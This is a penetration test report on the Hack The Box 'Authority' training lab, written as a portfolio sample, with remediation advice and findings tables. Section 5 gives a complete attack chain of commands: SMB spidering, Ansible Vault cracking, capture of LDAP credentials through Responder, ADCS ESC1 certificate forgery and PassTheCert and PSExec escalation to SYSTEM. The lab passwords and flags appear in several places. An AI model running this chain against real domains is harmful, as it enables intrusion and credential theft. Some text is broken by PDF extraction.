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1 Portfolio Use & Disclaimer 
This  report  is  provided  as  a  portfolio  sample to  demonstrate  penetration  testing  methodology,
technical writing, risk communication, and remediation planning.

The  assessment  described  herein  was  performed  against  a  deliberately  vulnerable  training
environment intended  for  educational  use.  The  target  system  represents  a  simulated  client
environment and does not reflect the security posture of any real organization.

This document does not constitute legal advice.
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2 Engagement Contacts
Assessor Contact 

Assessor Name Title Assessor Contact Email

Joe Thompson Tester jthompson@archwarden.com
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3 Executive Summary
This  assessment  was  conducted  by  Joe  Thompson  as  a  network  penetration  test  of  a  simulated
Windows Active Directory environment hosted at 10.129.14.124  (authority.htb). The target is a domain
controller  with  an Active  Directory  Certificate  Services  (ADCS)  deployment.  Testing was performed
using a black-box approach without prior knowledge of the environment.

3.1 Approach
Joe  Thompson  performed  testing  using  a  black-box  approach  from  an  unauthenticated  external
position. The assessment began with service and SMB enumeration, progressed through Ansible Vault
credential  cracking,  PWM  configuration  manager  abuse,  and  Responder  credential  capture,  then
exploited an ADCS ESC1 misconfiguration with PassTheCert to achieve domain compromise.

3.2 Scope
The scope of this assessment included the externally accessible host  10.129.14.124  (authority.htb).
Testing covered all services accessible at the target IP.

In Scope Assets
Asset Type Description

Domain Controller 10.129.14.124  (authority.htb)

Domain authority.htb — Windows Active Directory

ADCS Certificate Authority: htb-AUTHORITY-CA

SMB Port 445 — Development share with guest read access

Web Application Port 8443 — PWM password management portal (Apache Tomcat)

WinRM Port 5985 — used for foothold

3.3 Assessment Overview and Recommendations
During this assessment, Joe Thompson identified 3 security findings enabling full domain compromise
from an  unauthenticated  external  position.  The  findings  include  1  critical-risk  finding,  1  high-risk
finding, and 1 medium-risk finding.

The  Development  SMB  share  was  readable  by  the  guest  account.  Within  it,  an  Ansible  role  at
Automation/Ansible/PWM/defaults/main.yml  contained  three  Ansible  Vault-encrypted  values:
pwm_admin_login ,  pwm_admin_password ,  and  ldap_admin_password .  All  three  shared  the  same  weak
master password ( !@#$%^&* ), cracked with Hashcat. Decrypting them yielded credentials for the PWM
password management portal  at  port  8443.  The PWM Configuration Manager allowed editing the
LDAP connection URL before triggering a test connection — redirecting it  to a Responder listener
captured  svc_ldap 's  credentials  in  cleartext  ( svc_ldap:lDaP_1n_th3_cle4r! ).  WinRM  as  svc_ldap
provided the user flag.
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ADCS enumeration with Certipy identified the  CorpVPN  certificate template as vulnerable to ESC1: it
has  CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT  set and permits machine account enrollment. The Machine
Account  Quota  was  10,  allowing  creation  of  TCOMP$ .  Certipy  requested  a  certificate  for
administrator@authority.htb  using  TCOMP$ 's  enrollment  rights,  but  direct  Kerberos authentication
(PKINIT) was blocked. PassTheCert used the same certificate over LDAP to obtain an authenticated
LDAP shell,  from which  svc_ldap  was added to the local Administrators group. PSExec delivered a
SYSTEM shell and the root flag.

Immediate  remediation  priorities  include  removing  guest  access  from  the  Development  share,
rotating  all  Ansible  Vault-encrypted  credentials,  restricting  the  PWM  Configuration  Manager  to
authorised administrators, and fixing the CorpVPN certificate template ESC1 misconfiguration.
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4 Network Penetration Test Assessment
Summary
Joe Thompson conducted testing from the perspective of an unauthenticated external attacker. Testing
chained guest SMB access to an Ansible development share, ofÒine Vault hash cracking, PWM LDAP
redirect for credential capture, ADCS ESC1 certificate abuse, and PassTheCert LDAP authentication to
achieve full domain compromise.

4.1 Summary of Findings
During testing, Joe Thompson identified 3 findings that present varying levels of risk to the assessed
environment.  In  addition,  0  informational  observations  were  noted  which,  while  not  representing
direct  vulnerabilities,  highlight  opportunities  to  further  improve  overall  security  posture  and
monitoring capabilities. The chart below summarizes the distribution of identified findings by severity
level.

In the course of this penetration test 1 Critical, 1 High and 1 Medium vulnerabilities were identified: 

Figure 1 - Distribution of identified vulnerabilities

Below is a high-level overview of each finding identified during testing. These findings are covered in
depth in the Technical Findings Details section of this report. 
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# Severity Level Finding Name Page

1 9.9 (Critical)
ADCS ESC1 Misconfiguration on CorpVPN Template Allows
Certificate Request for Any Domain Account Including
Administrator

32

2 7.5 (High) Ansible Vault Credentials Stored in Guest-Readable SMB Share
with Weak Master Password 37

3 6.5 (Medium) PWM Configuration Manager Allows LDAP URL Redirect
Exposing Bind Credentials in Cleartext 40
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5 Internal Network Compromise Walkthrough
During the assessment, Joe Thompson chained guest SMB access to a development share containing
Ansible Vault hashes, ofÒine vault cracking, PWM Configuration Manager LDAP redirect for cleartext
credential capture, ADCS ESC1 certificate abuse via a machine account, and PassTheCert LDAP shell
authentication to achieve full  domain compromise from an unauthenticated external  position.  The
walkthrough below documents the successful attack path and does not represent all vulnerabilities
identified during testing.

Any  issues  not  required  to  achieve  compromise  are  documented  as  standalone  findings  in  the
Technical Findings Details section and ranked by severity.

5.1 Detailed Walkthrough
Joe Thompson performed the following to fully compromise the authority.htb domain.

Performed network enumeration — DC services (88/389/3268, authority.htb), IIS (80, default page
only), WinRM (5985), Apache Tomcat (8443, PWM portal); SSL certificates on LDAP ports signed by
htb-AUTHORITY-CA — ADCS confirmed
Confirmed null/guest SMB auth enabled; Development share readable by guest; spider_plus
downloaded all files; grep for 'password' found Ansible Vault encrypted values in Automation/
Ansible/PWM/defaults/main.yml
Extracted three vault blobs (pwm_admin_login, pwm_admin_password, ldap_admin_password);
ansible2john converted each to crackable format; Hashcat mode 16900 cracked all three with
master password !@#$%^&*; ansible-vault decrypt recovered svc_pwm, pWm_@dm!N_!23,
DevT3st@123
pWm_@dm!N_!23 authenticated to the PWM Configuration Manager; PwmConfiguration.xml
confirmed svc_ldap as LDAP bind account; Configuration Editor LDAP URL changed to attacker IP:
389; Responder started on tun0; LDAP test triggered; svc_ldap:lDaP_1n_th3_cle4r! captured in
cleartext; evil-winrm as svc_ldap; user flag retrieved
Certipy identified CorpVPN template as ESC1 vulnerable (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,
machine account enrollment permitted); MAQ confirmed as 10; TCOMP

 returned administrator.pfx
with administrator UPN; certipy auth blocked (KDC_ERR_PADATA_TYPE_NOSUPP, no PKINIT)
PassTheCert cloned; administrator.pfx split into .crt and .key; passthecert.py obtained LDAP shell
authenticated as Administrator; svc_ldap added to local Administrators group; psexec.py as
svc_ldap delivered NT AUTHORITY\SYSTEM shell; root flag retrieved

1. Network Enumeration

A full TCP port scan was performed, followed by a detailed service scan:

sudo nmap -p- --min-rate 1000 -T4 10.129.14.124 -oA TCP_allports
ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',' | sed 's/,$//')
sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.14.124

Key results:  standard DC services (53/88/135/139/389/445/3268/5985);  IIS on port 80 (default  page
only); Apache Tomcat on port 8443. Notably, the SSL certificates on LDAP ports (389/636/3268) were

1. 

2. 

3. 

4. 

5. 

machineaccountcreatedviaLDAPS; certipyreqwithTCOMP

6. 
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signed  by  htb-AUTHORITY-CA  —  confirming  ADCS  is  present  and  worth  revisiting  after  gaining
credentials.

2. SMB Anonymous Access and Ansible Vault Discovery

Nmap reported null authentication enabled. Guest access was confirmed:

Share enumeration showed the Development  share is readable by guest:

nxc smb 10.129.14.124 -u 'guest' -p '' --shares

The share was spidered and all files downloaded:

nxc smb 10.129.14.124 -u 'guest' -p '' -M spider_plus \
  -o EXCLUDE_DIR=IPC$ DOWNLOAD_FLAG=true

Grepping the downloaded files for 'password' returned multiple hits:
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Development/Automation/Ansible/PWM/defaults/main.yml  stood out — it contained three Ansible Vault
encrypted values:

pwm_admin_login: !vault | $ANSIBLE_VAULT;1.1;AES256 ...
pwm_admin_password: !vault | $ANSIBLE_VAULT;1.1;AES256 ...
ldap_admin_password: !vault | $ANSIBLE_VAULT;1.1;AES256 ...
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3. Ansible Vault Cracking and PWM Credential Recovery

Each vault blob was extracted into its own file, stripping the !vault |  header and keeping only the
$ANSIBLE_VAULT  content:

ansible2john  converted each blob to a Hashcat-compatible format and they were combined into a
single hash file. Hashcat mode 16900 (Ansible Vault) cracked all three against rockyou:

hashcat -m 16900 hashes.txt /usr/share/wordlists/rockyou.txt
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Master password: !@#$%^&*  (all three vaults shared the same key)

Each vault was decrypted with ansible-vault decrypt :
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Credentials recovered:

pwm_admin_login  = svc_pwm
pwm_admin_password  = pWm_@dm!N_!23
ldap_admin_password  = DevT3st@123

4. PWM LDAP Credential Capture and WinRM Foothold as svc_ldap

Port 8443 was running a PWM password management portal in configuration mode:

svc_pwm  did not work on the main PWM login, but pWm_@dm!N_!23  authenticated to the Configuration
Manager endpoint:

• 
• 
• 
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Downloading PwmConfiguration.xml  from the manager confirmed svc_ldap  as the LDAP bind account:

The Configuration Manager provided access to the Configuration Editor:
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Under LDAP > LDAP Directories > default > Connection, the LDAP URL field was editable and a Test
LDAP Profile button was available:
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The LDAP URL was changed to point at a Responder listener on the attack machine:
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Responder was started on tun0:

sudo responder -I tun0
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Triggering the LDAP test caused PWM to connect out using svc_ldap 's credentials in cleartext, which
Responder captured:

ARCHWARDEN

Joe Thompson Authority 23



ARCHWARDEN

Joe Thompson Authority 24



Credentials captured: svc_ldap:lDaP_1n_th3_cle4r!

evil-winrm -i authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!'

5. ADCS ESC1 Enumeration and Machine Account Certificate Request

With svc_ldap  credentials, Certipy scanned for vulnerable certificate templates against the ADCS CA
confirmed during initial enumeration:

certipy-ad find -u svc_ldap -p 'lDaP_1n_th3_cle4r!' \
  -target authority.htb -text -stdout -vulnerable
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The CorpVPN  template was flagged as ESC1:

ESC1 is exploitable when CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT  is set and a low-privileged principal can
enroll.  Here,  machine accounts  were permitted to  enroll.  The Machine Account  Quota (MAQ)  was
checked:
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nxc ldap authority.htb -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -M maq

MAQ = 10. A machine account TCOMP$  was created via LDAPS:

addcomputer.py 'authority.htb/svc_ldap' -method LDAPS \
  -computer-name TCOMP -computer-pass 'PASSWORD1!' -dc-ip 10.129.14.124

Certipy requested a certificate from the CorpVPN template using  TCOMP$ 's  enrollment  rights,  with
administrator@authority.htb  as the UPN in the SAN:

certipy-ad req -username TCOMP$ -password 'PASSWORD1!' \
  -ca AUTHORITY-CA -dc-ip 10.129.14.124 \
  -template CorpVPN -upn administrator@authority.htb

The  certificate  was  issued.  Attempting  to  authenticate  via  Kerberos  PKINIT  failed  with
KDC_ERR_PADATA_TYPE_NOSUPP  — the DC does not support certificate-based Kerberos authentication:

PassTheCert was used to authenticate with the certificate over LDAP instead.

6. PassTheCert LDAP Shell and Domain Compromise

The PFX was split into separate certificate and key files:

certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key
certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
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PassTheCert authenticated to LDAP using the certificate and provided an interactive LDAP shell  as
Administrator. svc_ldap  was added to the local Administrators group:

python3 passthecert.py -action ldap-shell -crt administrator.crt \
  -key administrator.key -domain authority.htb -dc-ip 10.129.14.124
# > add_user_to_group svc_ldap administrators

With svc_ldap  in Administrators, PSExec authenticated and delivered a NT AUTHORITY\SYSTEM  shell:

psexec.py svc_ldap@10.129.14.124
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6 Remediation Summary
The findings from this assessment span credential storage practices, web application configuration
controls,  and an ADCS certificate template misconfiguration.  The combination allowed full  domain
compromise  from  an  unauthenticated  external  position  with  no  exploitation  of  software
vulnerabilities.

6.1 Short Term
SHORT TERM REMEDIATION:

Fix the CorpVPN certificate template ESC1 misconfiguration. Remove 
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT  from the template — this flag is the root cause of ESC1. If
user-supplied SANs are genuinely required, restrict enrollment to specific authorised accounts only
(not all domain users or machine accounts) and require manager approval via CA policy. Re-run
Certipy after making changes to confirm the template no longer appears as vulnerable. Rotate the
Administrator password as the NT hash was accessible via DCSync through the compromised
certificate.
Remove guest/anonymous read access from the Development SMB share. The share should
require authentication and should be accessible only to accounts with a documented operational
need. Review all SMB shares on the domain controller for anonymous or guest access using: Get-
SmbShareAccess -Name Development  and revoke any open permissions.
Rotate all credentials stored in the Ansible Vault files found in the share. This includes svc_pwm
( pWm_@dm!N_!23 ), svc_ldap  ( lDaP_1n_th3_cle4r! ), and the LDAP admin password ( DevT3st@123 ).
After rotating, re-encrypt the vault files with a strong randomly generated master password that is
stored separately from the vault files themselves.

6.2 Medium Term
MEDIUM TERM REMEDIATION:

Restrict PWM Configuration Manager and Configuration Editor access. The ability to edit the LDAP
connection URL and trigger a test connection is a significant capability — it allows any
administrator with PWM config access to redirect outbound LDAP connections and capture
credentials. Access to the Configuration Manager should require multi-factor authentication or be
restricted to specific trusted source IPs. Additionally, PWM's LDAP test connection feature should
not transmit credentials in cleartext; configure LDAPS ( ldaps:// ) as the mandatory protocol for all
connection tests.
Remove Ansible configuration files from the SMB share entirely. Ansible roles, playbooks, and
variable files that contain vault-encrypted credentials should not reside on the domain controller's
file shares. These files belong in a version-controlled repository with appropriate access controls,
served to Ansible from a dedicated management host. The Development share should not be a
staging location for infrastructure automation files.
Replace the weak Ansible Vault master password policy. A single shared vault password ( !@#$%^&* )
for all secrets in an environment defeats the purpose of encryption. Each secret or group of secrets
should have its own vault password, rotated regularly, stored in a secrets manager, and injected at
pipeline runtime rather than stored alongside the vault files.

• 

• 

• 

• 

• 

• 
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6.3 Long Term
LONG TERM REMEDIATION:

Conduct a full ADCS audit using Certipy. The CorpVPN  ESC1 misconfiguration was identified
immediately, but other templates may also have dangerous configurations. Common ADCS
misconfigurations to audit include ESC1 (enrollee-supplied SAN), ESC2 (any purpose EKU), ESC3
(enrollment agent abuse), ESC4 (write access to templates), ESC6 (CA with
EDITF_ATTRIBUTESUBJECTALTNAME2), and ESC8 (HTTP enrollment endpoint relay). Run certipy
find -vulnerable  regularly and after any certificate template changes.
Deploy the Extended Protection for Authentication (EPA) on the LDAP service to prevent credential
relaying. The PassTheCert attack succeeded because LDAP accepted the certificate over an
unprotected channel. Enabling Channel Binding on LDAP (via LdapEnforceChannelBinding  registry
key) and requiring LDAP Signing prevents relay-based certificate abuse against the DC.
Establish a principle of least privilege review for ADCS enrollment rights. Machine account
enrollment on sensitive certificate templates is a common misconfiguration. Any template that
could be used for authentication (EKU includes Client Authentication, Smart Card Logon, or PKINIT)
should restrict enrollment to specific named service accounts or groups, with approval workflow
enabled where possible.

• 

• 

• 
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7 Technical Findings Details

1. ADCS ESC1 Misconfiguration on CorpVPN Template Allows
Certificate Request for Any Domain Account Including
Administrator - Critical

CWE CWE-732 - Incorrect Permission Assignment for Critical Resource

CVSS 3.1 9.9 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Root Cause

The CorpVPN  certificate template is configured with CT_FLAG_ENROLLEE_SUPPLIES_SU
BJECT  and permits enrollment by machine accounts. This is the ESC1 condition: an
enrollee can specify an arbitrary Subject Alternative Name (UPN) when requesting
a certificate, allowing impersonation of any domain account. A machine account ( T
COMP$ ) was created using the default Machine Account Quota of 10, then used to
enroll in the template with  administrator@authority.htb  as the UPN. The issued
certificate  could  not  be used for  Kerberos  authentication (PKINIT  blocked),  but
PassTheCert  authenticated  to  LDAP  directly  using  the  certificate,  obtaining  an
LDAP shell as Administrator and allowing modification of group memberships —
specifically, adding svc_ldap  to the local Administrators group for PSExec SYSTEM
access.

Impact
Full domain compromise via SYSTEM access. The root flag was retrieved via PSExec
after escalating svc_ldap  to local administrator using an LDAP shell authenticated
with the forged Administrator certificate.

Affected
Component

ADCS — CorpVPN certificate template:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set, machine account enrollment
permitted
htb-AUTHORITY-CA — issued Administrator UPN certificate to machine
account

Remediation

Remove  CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT  from  the  CorpVPN  template.  This
flag  is  not  required  for  standard  certificate  issuance  —  the  CA  should  always
determine the subject from the requesting account's identity, not from enrollee-
supplied input. If SANs are genuinely required, enable manager approval on the
template  and  restrict  enrollment  to  named  service  accounts  only.  Additionally,
enable LDAP Channel Binding ( LdapEnforceChannelBinding ) and LDAP Signing on
the  DC  to  prevent  certificate-based  LDAP  relay  attacks  even  if  a  certificate  is
obtained. Revoke the administrator.pfx  certificate issued during testing in the CA
MMC.

References https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://github.com/AlmondOffSec/PassTheCert

Finding Evidence
Certipy identified the CorpVPN template as ESC1 vulnerable:

• 

• 

• 
• 
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A machine account was created (MAQ=10) and used to request an Administrator UPN certificate:
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Kerberos  PKINIT  was  blocked,  so  PassTheCert  authenticated  via  LDAP  and  added  svc_ldap  to
Administrators:
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2. Ansible Vault Credentials Stored in Guest-Readable SMB
Share with Weak Master Password - High

CWE CWE-312 - Cleartext Storage of Sensitive Information

CVSS 3.1 7.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Root Cause

The  Development  SMB share on the domain controller is  readable by the guest
account without authentication. The share contains an Ansible role at Automation/
Ansible/PWM/defaults/main.yml  with three Ansible Vault-encrypted values: pwm_adm
in_login ,  pwm_admin_password ,  and  ldap_admin_password .  All  three  vaults  share
the same master password ( !@#$%^&* ), which was cracked with Hashcat in seconds
from the rockyou wordlist. Decrypting the vaults recovered credentials for svc_pwm
and the LDAP admin password, which were used to access the PWM Configuration
Manager and ultimately capture svc_ldap 's cleartext credentials via Responder.

Impact
PWM  Configuration  Manager  credentials  recovered,  enabling  LDAP  connection
redirect  and  svc_ldap  credential  capture.  Directly  led  to  WinRM  access  as
svc_ldap  and the user flag.

Affected
Component

SMB — Development share: guest account READ access
Automation/Ansible/PWM/defaults/main.yml — Ansible Vault hashes with
weak master password (!@#$%^&*)

Remediation

Remove guest/anonymous read access from the Development share immediately.
Rotate all credentials whose hashes appeared in the share: svc_pwm  ( pWm_@dm!N_!
23 ), svc_ldap  ( lDaP_1n_th3_cle4r! ), and the LDAP admin password ( DevT3st@123 ).
Re-encrypt  any  retained  vault  files  with  a  strong  randomly-generated  master
password that is stored in a secrets manager, separate from the vault files. Ansible
automation files should not reside on domain controller SMB shares — move them
to  a  dedicated  source  control  repository  with  access  limited  to  Ansible  service
accounts and authorised operators.

References https://docs.ansible.com/ansible/latest/vault_guide/index.html

Finding Evidence
Null/guest SMB auth was confirmed and the Development share was identified as readable:

Grepping the downloaded files found Ansible Vault hashes in main.yml:

• 
• 
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All three vaults were cracked with a single master password:
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3. PWM Configuration Manager Allows LDAP URL Redirect
Exposing Bind Credentials in Cleartext - Medium

CWE CWE-522 - InsufÏciently Protected Credentials

CVSS 3.1 6.5 / CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Root Cause

The PWM Configuration Editor allows an authenticated configuration administrator
to modify the LDAP connection URL before triggering a test connection. When the
URL is changed to an attacker-controlled IP and port, PWM initiates an LDAP bind
using  the  stored  svc_ldap  credentials  against  that  address.  Because  the
connection is made over plain LDAP (not LDAPS), the credentials are transmitted in
cleartext and captured by a Responder listener.  Any account with access to the
PWM Configuration Manager can exploit this to recover the LDAP bind credential
without requiring knowledge of it.

Impact

Cleartext recovery of  svc_ldap:lDaP_1n_th3_cle4r!  from the PWM configuration
panel. These credentials provided WinRM access and the user flag, and were also
used  for  ADCS  enumeration  and  machine  account  creation  in  the  privilege
escalation chain.

Affected
Component

https://authority.htb:8443/pwm — Configuration Editor: LDAP URL editable
before test connection
svc_ldap service account — cleartext credentials transmitted over port 389

Remediation

Restrict access to the PWM Configuration Manager to specific trusted source IPs or
require MFA for access. Require LDAPS ( ldaps:// ) for all LDAP connections in PWM
— the Configuration Editor should enforce that only ldaps://  URLs are accepted
for  test  connections,  preventing  cleartext  transmission.  Additionally,  the  test
connection  feature  should  not  be  accessible  to  configuration  administrators
without a separate approval step, since it can be used to exfiltrate bind credentials
against any LDAP endpoint the admin can reach.

References https://github.com/pwm-project/pwm

Finding Evidence
The PWM Configuration Manager was accessible with the cracked PWM admin credentials:

• 

• 

ARCHWARDEN

Joe Thompson Authority 40

https://cwe.mitre.org/data/definitions/522
https://github.com/pwm-project/pwm


ARCHWARDEN

Joe Thompson Authority 41



The Configuration Editor exposed an editable LDAP URL and a test connection trigger:

The URL was redirected to a Responder listener:
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Triggering the test captured svc_ldap's credentials in cleartext:
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A Appendix

A.1 Finding Severities
Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is
based off of an assessment of the priority with which each finding should be viewed and the potential
impact each has on the confidentiality, integrity, and availability of HTB's data.

Rating CVSS Score Range

Critical 9.0 – 10.0

High 7.0 – 8.9

Medium 4.0 – 6.9

Low 0.1 – 3.9

Info 0.0
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A.2 Host & Service Discovery
IP Address Port Service Notes

10.129.14.12
4 53 DNS Simple DNS Plus

10.129.14.12
4 80 HTTP Microsoft IIS httpd 10.0 — default page

10.129.14.12
4 88 Kerberos Microsoft Windows Kerberos

10.129.14.12
4 135 RPC Microsoft Windows RPC

10.129.14.12
4 139 NetBIOS Microsoft Windows netbios-ssn

10.129.14.12
4 389 LDAP Microsoft Windows AD LDAP (authority.htb) — cert: htb-

AUTHORITY-CA

10.129.14.12
4 445 SMB Microsoft SMB — Development share readable by guest

10.129.14.12
4 464 kpasswd Kerberos password change

10.129.14.12
4 593 RPC/

HTTP Microsoft Windows RPC over HTTP 1.0

10.129.14.12
4 636 LDAPS LDAP over SSL

10.129.14.12
4

326
8 LDAP GC Microsoft Windows AD LDAP Global Catalog

10.129.14.12
4

598
5 WinRM Microsoft HTTPAPI httpd 2.0

10.129.14.12
4

844
3 HTTPS Apache Tomcat — PWM password management portal

10.129.14.12
4

938
9 mc-nmf .NET Message Framing
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A.3 Subdomain Discovery
URL Description Discovery Method

authority.htb Domain — DC LDAP domain discovery

authority.htb:8443 PWM password management portal Service enumeration
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A.4 Exploited Hosts
Host Scope Method Notes

authority.htb
(10.129.14.124)

Extern
al

Guest SMB → Ansible Vault crack → PWM
LDAP redirect → Responder

svc_ldap credentials
captured in cleartext

authority.htb
(10.129.14.124)

Intern
al WinRM as svc_ldap User flag

authority.htb
(10.129.14.124)

Intern
al

ADCS ESC1 + TCOMP$ + PassTheCert →
svc_ldap to Administrators → PSExec

NT AUTHORITY\SYSTEM;
root flag
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A.5 Compromised Users
Username Type Method Notes

svc_pwm Service
account Ansible Vault decrypted (master: !@#$%^&*) PWM Configuration

Manager access

svc_ldap Service
account

Responder LDAP credential capture via PWM
redirect

WinRM; user flag; ADCS
enrollment

TCOMP$ Machine
account addcomputer.py (MAQ=10)

ESC1 certificate
enrollment for
Administrator UPN

Administrat
or

Domain
administrat
or

ESC1 certificate → PassTheCert LDAP shell →
svc_ldap added to Administrators → PSExec
SYSTEM

Root flag
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A.6 Changes/Host Cleanup
Host Scope Change / Cleanup Needed

authority.htb AD TCOMP$ machine account created — remove

authority.htb ADCS administrator.pfx certificate — revoke in CA

authority.htb AD svc_ldap added to local Administrators — remove
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A.7 Flags Discovered
Flag
# Host Flag Value Flag Location Method Used

1 authori
ty.htb

0ff8728c89af96c
26dbf50041363b
80e

C:
\Users\svc_ldap\Des
ktop\user.txt

Guest SMB → Ansible Vault crack →
PWM LDAP redirect → Responder →
evil-winrm as svc_ldap

2 authori
ty.htb

904842a8f11bbd
09ffe707bed5c65
ce5

C:
\Users\Administrato
r\Desktop\root.txt

ADCS ESC1 → PassTheCert → svc_ldap
to Administrators → PSExec SYSTEM
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End of Report 

ARCHWARDEN

Joe Thompson Authority 52


	Authority
	Report of Findings

	Hack The Box
	Version: 1.0

	Table of Contents
	Portfolio Use & Disclaimer
	Engagement Contacts
	Executive Summary
	Approach
	Scope
	In Scope Assets

	Assessment Overview and Recommendations

	Network Penetration Test Assessment Summary
	Summary of Findings

	Internal Network Compromise Walkthrough
	Detailed Walkthrough

	Remediation Summary
	Short Term
	Medium Term
	Long Term

	Technical Findings Details
	ADCS ESC1 Misconfiguration on CorpVPN Template Allows Certificate Request for Any Domain Account Including Administrator - Critical
	Finding Evidence

	Ansible Vault Credentials Stored in Guest-Readable SMB Share with Weak Master Password - High
	Finding Evidence

	PWM Configuration Manager Allows LDAP URL Redirect Exposing Bind Credentials in Cleartext - Medium
	Finding Evidence


	Appendix
	Finding Severities
	Host & Service Discovery
	Subdomain Discovery
	Exploited Hosts
	Compromised Users
	Changes/Host Cleanup
	Flags Discovered


